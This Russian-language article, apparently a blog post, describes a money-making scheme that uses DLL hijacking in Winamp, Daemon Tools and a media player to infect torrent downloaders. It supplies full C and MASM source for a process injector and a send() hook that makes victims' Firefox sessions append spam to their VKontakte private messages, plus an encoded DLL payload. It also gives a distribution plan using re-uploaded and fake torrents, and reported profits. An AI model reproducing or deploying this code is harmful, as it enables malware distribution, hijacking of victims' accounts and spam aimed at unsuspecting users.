Прибыльный DLL Hijacking
Ни для кого не секрет, что за последнее время уязвимость типа DLL Hijacking была найдена в довольно большом количестве популярных приложений (например, Winamp, uTorrent, FireFox, Opera и др.). Суть уязвимости сводится к возможности подгрузки сторонней DLL при открытии некоторых типов файлов этими приложениями.
Решил провести оценку потенциальных возможностей от данного наплыва. Так как специфика уязвимости состоит в том, что зачастую требуется, чтобы инстанс приложения не был запущен до попытки открытия файла, то наиболее актуальными показались следующие уязвимости: уязвимость в Winamp и уязвимость в Daemon tools lite.
Идея использования состоит в следующем: берутся свежие релизы с зарубежных музыкальных и игровых трекеров (например, sceneaccess, waffles, what.cd, blackcats-games), комплектуются dll’кой и перезаливаются на популярные российские трекеры (rutracker, торренты на ВКонтакте и т.д.). Подбирая актуальные новинки, можно получить приличное количество скачиваний в короткие сроки или можно выкладывать фейки альбомов/игр/фильмов.
С помощью фейков удается привлечь большее количество скачиваний в сутки, особенно если следить за раздачами и пересоздавать их в случае разоблачения, реальные раздачи обладают большей стабильностью.
Для тестирования данной идеи была написана DLL, которая обладает следующим функционалом:
1. Ищет процесс FireFox
2. Сплайсит функцию send
3. Добавляет дополнительный текст при отправке личного сообщения на ВКонтакте
Конечно, можно было бы сделать более широкий функционал, например: отправка аккаунтов от различных сервисов на гейт, инжект во все популярные браузеры, а не только в FireFox, инжект в всевозможные icq клиенты, подмена выдачи поисковиков, прописывание себя в реестр в AppInit_DLLs, скачивание и запуск чего-либо из интернета, да, в конце концов, закрепление в системе.
Но целью было исследование эффективности, а не получение прибыли с этого. DLL состоит из двух частей: одна часть на С, другая – на masm. Первая часть хранит в себе вторую и осуществляет поиск процесса и инжект в него второй части. Вторая часть осуществляет сплайсинг функции send и подмену содержимого сообщений. Да, реализация так себе, но, кому надо – тот перепишет под себя.
Код первой части:
#pragma comment(lib, "psapi") #undef UNICODE #include #include #include #include #include <sys/stat.h> #define BUFSIZE 1024 #define DLL_NAME "mem.dll" typedef NTSTATUS (__stdcall *fpRtlDecompressBuffer)(ULONG, PVOID, ULONG, PVOID, ULONG, PULONG); //структура описывает поля, в которых содержится код внедрения #pragma pack(push, 1) struct INJECTORCODE { BYTE instr_push_loadlibrary_arg; //инструкция push DWORD loadlibrary_arg; //аргумент push WORD instr_call_loadlibrary; //инструкция call DWORD adr_from_call_loadlibrary; BYTE instr_push_exitthread_arg; DWORD exitthread_arg; WORD instr_call_exitthread; DWORD adr_from_call_exitthread; DWORD addr_loadlibrary; DWORD addr_exitthread; //адрес функции ExitThread BYTE libraryname[100]; //имя и путь к загружаемой библиотеке }; #pragma pack(pop) BOOL InjectDll(DWORD pid, char *lpszDllName) { HANDLE hProcess; BYTE *p_code; INJECTORCODE cmds; DWORD wr, id; //Открыть процесс с нужным доступом hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|0x1000|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, pid); if(hProcess == NULL) { MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0); return FALSE; } //Зарезервировать память в процессе p_code = (BYTE*)VirtualAllocEx(hProcess, 0, sizeof(INJECTORCODE), MEM_COMMIT, PAGE_READWRITE); if(p_code == NULL) { MessageBox(NULL, "Unable to alloc memory in remote process", "Error!", 0); return FALSE; } //Инициализировать машинный код cmds.instr_push_loadlibrary_arg = 0x68; //машинный код инструкции push cmds.loadlibrary_arg = (DWORD)((BYTE*)p_code + offsetof(INJECTORCODE, libraryname)); cmds.instr_call_loadlibrary = 0x15ff; //машинный код инструкции call cmds.adr_from_call_loadlibrary = (DWORD)(p_code + offsetof(INJECTORCODE, addr_loadlibrary)); cmds.instr_push_exitthread_arg = 0x68; cmds.exitthread_arg = 0; cmds.instr_call_exitthread = 0x15ff; cmds.adr_from_call_exitthread = (DWORD)(p_code + offsetof(INJECTORCODE, addr_exitthread)); cmds.addr_loadlibrary = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); cmds.addr_exitthread = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"ExitThread"); if(strlen(lpszDllName) > 99) { MessageBox(NULL, "Dll Name too long", "Error!", 0); return FALSE; } strcpy((char*)cmds.libraryname, lpszDllName ); /*После инициализации cmds в мнемонике ассемблера выглядит следующим образом: push adr_library_name ;аргумент ф-ции loadlibrary call dword ptr [loadlibrary_adr] ;вызвать LoadLibrary push exit_thread_arg ;аргумент для ExitThread call dword ptr [exit_thread_adr] ;вызвать ExitThread */ //Записать машинный код по зарезервированному адресу WriteProcessMemory(hProcess, p_code, &cmds, sizeof(cmds), &wr); //Выполнить машинный код DWORD old_rights; HANDLE z = CreateRemoteThread(hProcess, NULL, 0, (unsigned long (__stdcall *)(void *))p_code, 0, 0, &id); //Ожидать завершения удаленного потока WaitForSingleObject(z, INFINITE); //Освободить память VirtualFreeEx(hProcess, (void*)p_code, sizeof(cmds), MEM_RELEASE); return TRUE; } //Функция установки привилегий отладчика int AdjustPrivileges() { HANDLE hToken; TOKEN_PRIVILEGES tp; TOKEN_PRIVILEGES oldtp; DWORD dwSize = sizeof(TOKEN_PRIVILEGES); LUID luid; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { if(GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) return 1; return 0; } if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return 0; } ZeroMemory(&tp, sizeof(tp)); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) { CloseHandle(hToken); return 0; } CloseHandle(hToken); return 1; } //Функция проверки существования файла int file_exists(char * fileName) { struct stat buf; return stat(fileName, &buf) ? 0 : 1; } void on_attach() { if(AdjustPrivileges()) { DWORD junk; //Тело DLL в hex после RtlCompressBuffer char *tempbuf = "\xBA\xB7\x00\x4D\x5A\x00\x00\x01\x00\x00\x00\x82\x02\x00\x30\xFF\xFF\x00\x00\x40\x00\x38\xC3\x01\x00\x05\x38\xB4\x4C\xCD\x21\x04\x28\x0E\x00\x01\x01\x8C\x50\x45\x00\x00\x4C\x01\x03\x20\x00\x40\x3D\x7A\x4C\x05\x2E\xE0\x00\x00\x0E\x21\x0B\x01\x05\x0C\x00\x08\xA5\x00\x18\x04\x03\x26\x11\x13\x00\x08\x10\x00\x06\xFE\x20\x04\x72\x01\x16\x00\xE8\x01\x3C\x05\x03\x06\x54\x00\x17\x7C\x65\xF6\x03\x93\x02\x28\x01\x2B\x06\x07\x03\x06\xC0\x90\x17\x00\x00\x30\x00\x07\x4C\x16\x00\x83\x77\x15\xA0\x01\x00\x00\x24\xAC\x19\x1F\x15\x00\x00\x32\x3C\x41\x18\x0F\x2E\x74\x65\x78\x74\x80\x03\xF0\x3E\x07\x04\x48\x81\x75\x03\x58\x06\x00\x00\x75\x60\x2E\xD0\x64\x61\x74\x61\x80\x05\xFC\x01\xB2\x81\x7D\x05\x81\x11\x0A\x8E\xA3\xC0\x2E\x72\x65\x6C\x60\x6F\x63\x00\x00\xB8\x84\x59\x82\x13\x0C\xAD\x8E\x13\x42\x31\x65\x19\x00\xD8\xC0\x4F\xEC\xC0\x00\xAA\xFE\xC0\x00\x14\xC0\x54\x24\xC0\x00\x32\xC0\x00\xAA\x44\xC0\x00\x5A\xC0\x00\x66\xC0\x00\x72\xC0\x00\x35\x01\x00\xA4\xC4\x01\x8C\xC4\x01\x01\x00\x55\x8B\x00\xEC\x68\x63\x21\x40\x00\xFF\x75\x00\x0C\xE8\xF6\x05\x00\x00\x8B\xD8\x14\x68\x77\x84\x03\xE7\x81\x03\xC0\x0B\xDB\x08\x0F\x84\x86\x00\x33\x0B\xC0\x0F\x85\x0A\x7E\xC0\x01\x6A\x41\x00\xFF\x68\x00\x20\x12\x40\x82\x02\xE8\x61\x40\x7E\x8B\xD8\x6A\x54\x04\x68\x41\x51\x53\x00\x04\x56\x00\x04\xA3\x62\x4B\xC0\x10\x53\xFF\x35\x81\x01\x09\x0B\x34\x51\xC0\x06\x6B\xDB\x06\x48\x0B\x28\x41\x0B\x4F\x07\x43\x0B\x81\x01\xC3\x0C\xE8\x4C\x03\x00\x00\x58\x68\x00\x80\x81\x1B\x44\x04\x05\x00\x0A\x03\x60\x5D\x10\x89\x1D\x17\x01\x13\x03\x10\xFF\x22\x35\x02\x03\x00\xE8\xE2\x80\x0B\xA3\x57\x29\x80\x09\x68\x83\x04\x2F\x2A\x01\x2F\xF0\x46\x00\x56\x33\xC9\xEB\x02\x41\xAC\x3C\x00\x26\x75\xFA\x5E\x49\x89\x0D\x1B\xA5\x80\x0B\xA1\x01\x01\x03\x05\x88\x11\x50\x40\x10\x7A\xA0\x41\x10\x5F\x81\x2B\x85\x16\x81\x09\x00\x06\x87\x4D\x01\x06\x53\x42\x26\x43\x04\xFF\x35\x41\x03\x56\x4C\xE8\xA2\x00\x06\xC3\x02\xFF\x35\x01\x0E\xE8\x6E\x7B\x02\x04\x03\x31\x02\x04\x64\x09\x31\xC1\x05\xE8\xBE\x40\x82\x08\x01\x07\x45\x0E\x01\x2D\xC1\x2B\x84\xC9\x0A\x4D\x42\x0F\x14\x49\x04\x01\x0B\xE8\x02\x41\x04\x8D\x09\x86\x0D\xE8\x46\x80\x44\x83\xC0\x04\x50\xC4\xE8\x07\x00\x03\x50\x68\x92\xE2\x1F\x60\x14\x04\xE8\xFD\xE0\x34\x83\xC4\x0C\x68\xA5\x85\x84\x0B\x1D\x61\x34\xF0\x83\xC6\x10\xC5\x21\x82\x0D\xC0\x21\x51\x6A\x00\x68\x1F\xA0\x05\x98\x56\xE8\xD8\xC0\x05\x42\x01\x68\xB6\x41\x08\x5A\xE7\x41\x08\xBA\x43\x08\x24\x0D\xA6\xA1\x01\xC0\xCA\x05\xE8\x25\x70\x20\x02\xA3\x5B\x25\x0E\x62\x06\xEC\xFF\x35\xE1\x01\x24\x06\xB4\x61\x0A\xA5\x17\x22\x02\x26\x44\x20\x02\x43\x04\xE8\x57\x41\x01\x75\x14\x02\x50\x24\x06\x75\x08\x68\xD8\x12\x40\x99\x41\x51\xA1\xF4\xE0\x01\x00\x0D\xFF\xE0\x66\x07\x05\x02\x06\x08\x00\x06\x8B\x45\x10\xEB\x1E\x31\xA0\x06\xFF\x75\x10\x60\x1A\x81\x06\x0D\x13\x11\x8C\x06\x5D\xC2\x10\x01\x02\x83\x7D\x0C\xA0\x01\x75\x6E\x68\xC9\x21\x07\xB6\xE0\x76\x34\xA3\xF0\xE1\x14\xD5\x82\x13\x41\x01\xE8\xA7\x13\x81\x02\xA1\x06\x68\xF8\x22\x3E\x6A\x05\xFF\x32\x35\xC1\x01\xE8\xA6\x00\x03\xC2\x09\xC6\x00\x00\xE9\xB9\x40\x10\x40\x00\x2B\x0D\x41\x82\x0B\xE9\x05\x89\x48\x01\x82\x05\xFF\x56\x35\x42\x06\x05\x06\x75\x00\x06\xB8\x41\x83\xC9\x04\xC2\x0C\x41\x0F\x56\x57\x53\x8B\x75\x00\x0C\x8B\x7D\x08\x8B\xC6\x2B\x45\x00\x0C\x8B\x5D\x10\x83\xEB\x04\x3B\x00\xC3\x72\x02\xEB\x74\x8A\x07\x3C\x00\x80\x73\x4E\x3C\x20\x75\x06\xC6\x00\x06\x2B\x46\xEB\x59\x3C\x00\x76\x00\x04\x3C\x2F\x76\x14\x3C\x3A\x72\x80\x04\x3C\x40\x76\x0C\x3C\x5B\xE0\x00\x02\x60\x60\x02\x7B\x72\x23\x3C\x2E\x74\x00\x1F\x3C\x5F\x74\x1B\x3C\x2D\x74\x80\x17\x0F\xB6\xC0\x50\x68\xDA\x22\x4E\x06\x26\x00\x0D\x60\x32\x83\xC6\x03\xEB\x1A\xA0\x88\x06\x46\xEB\x15\x62\x03\xE1\x62\x03\x02\x0A\x66\x03\x47\x8A\x1F\x84\xDB\x0F\x00\x85\x7B\xFF\xFF\xFF\xC6\x06\x00\x88\x5B\x5F\x5E\x44\x13\x83\xC4\xF8\xA0\x13\x0F\xC2\x77\x42\x78\x20\x28\x20\x40\xE9\xFD\x00\x00\x04\xE8\xB5\x00\x18\x83\xF8\x00\x76\x20\x50\x40\x89\x45\xF8\x88\x3C\x8B\xE0\x02\x0B\x08\xC0\x75\x10\x22\x1C\xEB\x67\xEB\x07\x82\xB8\xA1\x9A\xEB\x5E\x89\x45\xFC\x61\x08\x40\xFF\x75\xF8\xFF\x75\xFC\x2A\x09\x6B\x45\x23\x06\x16\xC5\x37\x75\xFC\xE8\xC1\xCA\xB8\x11\x00\x54\x00\xEB\x26\x45\x37\xFC\xE8\xD1\x2C\xFE\xFF\xC0\x82\x66\x04\x28\xC0\x03\x33\xC0\x23\x64\x15\xC4\x00\xFF\x25\x00\x00\x30\xFF\x25\xAA\x04\xA2\x00\x08\xA2\x00\x0C\xA2\x00\x10\xA2\x00\xAA\x14\xA2\x00\x18\xA2\x00\x1C\xA2\x00\x20\xA2\x00\x2A\x24\xA2\x00\x34\xA0\x00\xCC\x00\x00\x8B\x4C\x00\x24\x10\x8B\x54\x24\x04\x03\xD1\x00\x03\x54\x24\x0C\x8B\x44\x24\x08\x00\x03\xC1\xF7\xD9\x53\x0F\xB6\x1C\x00\x11\x88\x1C\x01\x83\xC1\x01\x75\x60\xF4\x5B\xC6\x00\x00\x00\x47\xA1\x05\xCC\x42\xCC\x02\x25\xFC\x53\x56\x57\x80\x1A\xE8\x4E\x9F\xC0\x12\x60\x1D\xC0\x16\xE8\x94\x40\x01\x29\x00\x45\xFC\x8B\x75\x08\x01\x75\xFC\x01\xE1\x3A\x45\xFC\x01\x8B\x7D\x0C\x83\x00\xEE\x01\xEB\x04\x03\xF1\x8B\xFF\x00\x83\xC6\x01\x39\x75\xFC\x7E\x4C\x00\x0F\xB6\x06\x3A\x03\x74\x09\x88\x00\x07\x83\xC7\x01\xEB\xEA\x8B\xFF\x22\xB9\xC0\x30\xFF\x8B\xD3\x00\x0D\x0F\xB6\x00\x02\x85\xC0\x74\x13\x83\xC2\x01\x60\x38\x04\x31\x74\xEE\x00\x05\x83\x04\xC5\x40\x90\x8B\x55\x14\x83\xE9\xE4\x03\xB3\x33\xE0\x03\xE3\x02\xEF\x90\x62\x07\x22\x07\x04\x31\x00\x88\x04\x39\x85\xC0\x75\xF2\x5F\x18\x5E\x5B\xC9\x66\x15\xE2\x1B\x44\x24\x04\x08\x83\xE8\x04\x60\x40\x80\x38\x00\x74\x00\x30\x80\x78\x01\x00\x74\x20\x80\x00\x78\x02\x00\x74\x10\x80\x78\x03\x10\x00\x75\xE6\x2B\x01\x02\xC0\x03\xC2\xD4\x04\x00\x93\x00\x02\x96\x00\x01\x94\x00\x60\x00\x68\xFF\x25\x2C\xF0\x12\x9C\x30\x64\x05\x00\x7E\xAB\x31\x62\x60\x20\xD0\x38\x01\x98\x30\x01\x34\x30\x01\xEA\xC8\x38\x01\xAE\x30\x01\x2C\x74\x7D\xBF\x69\xBF\x69\x07\xBF\x69\xBF\x69\x01\x00\x34\x01\x47\x65\x74\x00\x4D\x6F\x64\x75\x6C\x65\x48\x61\x60\x6E\x64\x6C\x65\x41\xF0\x62\x31\x01\x50\x00\x72\x6F\x63\x41\x64\x64\x72\x65\x00\x73\x73\x00\x00\x0D\x02\x4D\x75\x00\x6C\x74\x69\x42\x79\x74\x…
Пример использования функции RtlCompressBuffer для сжатия файла можно посмотреть тут.
Преобразовать сжатый файл в hex можно следующим скриптом на Perl:
use warnings; open F, '<', 'compressed.txt' or die $!; undef $/; my $str = ; close F; open F, '>', 'hex.txt' or die $!; for my $ch(split //, $str) { print F '\x',sprintf("%02X", ord($ch)); } close F;
Код второй части:
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm include \masm32\macros\inject.asm uselib kernel32, user32, masm32, Shlwapi urlencodeW proto :DWORD, :DWORD, :DWORD .data ;Сообщение, которое будет добавляться к тексту, отправляемому пользователем message_add db 13,10,"payload",0 textlen dd 0 mess_len dd 0 misc db 100 dup (0) header db 100 dup (0) header1 db 100 dup (0) message_w dword ? message_add_urlenc dword ? message dword ? request dword ? request_final dword ? temp dword ? iAlloc MACRO size:REQ invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE EXITM ENDM iFree MACRO memaddr:REQ invoke VirtualFree,&memaddr,0,MEM_RELEASE ENDM .code MyFunc: push ebp mov ebp,esp ;__in SOCKET s, __in const char *buf, __in int len, __in int flags mov ebx,FUNC(StrStrA,[ebp+12],chr$("POST /mail.php HTTP")) mov eax,FUNC(StrStrA,[ebp+12],chr$("act=sent")) .if ebx != 0 && eax != 0 ;Определяем необходимый размер буфера invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0 mov ebx,eax ;Создаем буфер mov message_w,iAlloc(ebx) ;Кодируем invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx ;Мега буфер для urlenc сообщения mov eax,6 mul ebx mov message_add_urlenc,iAlloc(ebx) invoke urlencodeW,message_w,message_add_urlenc,ebx iFree message_w ;размер = сообщение после обработки + исходный запрос add ebx,[ebp+16] mov textlen,ebx ;Буфер по размеру текста mov request,iAlloc(textlen) invoke StrStr,[ebp+12],chr$("&message=") mov esi,eax ;пропуск & inc esi push esi xor ecx,ecx .while al != '&' inc ecx lodsb .endw pop esi ;размер сообщения dec ecx mov mess_len,ecx ;размер оригинал + добавка mov eax,mess_len add eax,textlen ;Буфер для них mov temp,iAlloc(eax) ;Буфер для оригинала сообщения mov message,iAlloc(mess_len) ;в message оригинальное сообщение fn szMid,esi,message,0,mess_len ;Копируем оригинал в temp invoke lstrcpy,temp,message ;Объединяем тексты invoke lstrcat,temp,message_add_urlenc ;Освобождаем буфер с добавляемым сообщением iFree message_add_urlenc ;Замена fn szRep,[ebp+12],request,message,temp ;Уже не надо iFree temp iFree message ;Тело запроса invoke StrStr,request,chr$(13,10,13,10) add eax,4 ;Размер тела invoke lstrlen,eax ;Делаем новый заголовок invoke wsprintf,offset header,chr$("Content-Length: %u"),eax invoke StrStr,[ebp+12],chr$("Content-Length: ") mov esi,eax add esi,16 push esi xor ecx,ecx .while al != 13 ; \r inc ecx lodsb .endw pop esi ;Старый размер fn szMid,esi,offset misc,0,ecx ;Делаем старый заголовок invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc invoke lstrlen,request add eax,5 mov request_final,iAlloc(eax) ;Замена fn szRep,request,request_final,offset header1,offset header iFree request ;Размер буфера к отправке invoke lstrlen,request_final HOOK_ORIGINAL_CALL_PARAM send,1,[ebp+8],request_final,eax,[ebp+20] iFree request_final ;Возвращаем размер оригинального запроса mov eax,[ebp+16] .else HOOK_ORIGINAL_CALL send, 4 .endif pop ebp retn 4*4 LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD .if reason == DLL_PROCESS_ATTACH ;Ставим хук SET_HOOK wsock32.dll, send, MyFunc ;Успешный атач mov eax,1 .endif ret LibMain ENDP urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD push esi push edi push ebx mov esi,result_buffer mov edi,text_to_convert loop_enc: mov eax,esi sub eax,result_buffer mov ebx,result_buffer_len sub ebx,4 .if eax>=ebx jmp loop_enc_end .endif mov al,byte ptr [edi] .if al<80h .if al==' ' mov byte ptr [esi],'+' inc esi .elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-' movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .else mov byte ptr [esi],al inc esi .endif .else movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .endif inc edi mov bl,byte ptr [edi] test bl,bl jne loop_enc loop_enc_end: mov byte ptr [esi],0 pop ebx pop edi pop esi ret urlencode ENDP urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD LOCAL convert_buffer :DWORD LOCAL convert_buffer_len :DWORD push esi push edi push ebx invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0 .if eax>0 inc eax mov convert_buffer_len,eax invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE .if eax==0 mov eax,1 jmp conv_error .endif .else mov eax,2 jmp conv_error .endif mov convert_buffer,eax invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0 .if eax==0 invoke VirtualFree,convert_buffer,0,MEM_RELEASE mov eax,3 jmp conv_error .endif invoke urlencode,convert_buffer,result_buffer,result_buffer_len invoke VirtualFree,convert_buffer,0,MEM_RELEASE xor eax,eax pop ebx pop edi pop esi ret conv_error: pop ebx pop edi pop esi ret urlencodeW ENDP end LibMain
inject.asm, используемый в коде, представляет собой набор макросов из статьи “Делаем собственный инжектор”. Данный файл на всякий случай включен в архив в конце статьи.
Если у Вас возникают проблемы с пониманием кода, то советую обратиться к следующим статьям: раз, два, три. Необходимые инструменты для компиляции второй части можно найти тут.
Результат работы выглядит следующим образом:
1. Пользователь пишет сообщение, нажимает отправить
2. В исходящих оказывается сообщение с пользовательским текстом и добавкой из библиотеки
Ужасно тривиально.
Чем это полезно? Во-первых, можно осуществлять рассылки без необходимости приобретения актуальных программ для этих целей, во-вторых, не требуются прокси, т.к. рассылку осуществляет владелец аккаунта (хотя объемы рассылки будут заметно ниже, ибо не каждый общается со всем своим контакт-листом каждый день), в-третьих, такие рассылки с большей вероятностью проходят фильтр на основе теоремы Байеса (меньше вероятность того, что получатель нажмет кнопку “Это спам”, большее разнообразие текстов).
Знакомый человек протестировал данную систему, и вот что у него получилось.
1. Было создано 10 разных раздач на нескольких трекерах.
2. В качестве контента использовались новинки из области музыки, игр и фильмов (т.к. mpc тоже уязвим).
3. Одна удачная раздача набрала ~8900 скачиваний всего за несколько дней.
4. Суммарно 10 раздач были скачаны ~50000 раз
О проценте сработавших инжектов судить можно только косвенно, но по информации знакомого ему удалось заработать ~150$ за 7 дней на этом деле. Для многих это, наверное, не слишком большая сумма, однако тут многое зависит от качества реализации и оригинальности идеи.
Более качественный и функциональный код + несколько удачных раздач + правильный подход смогут дать многократное увеличение прибыли.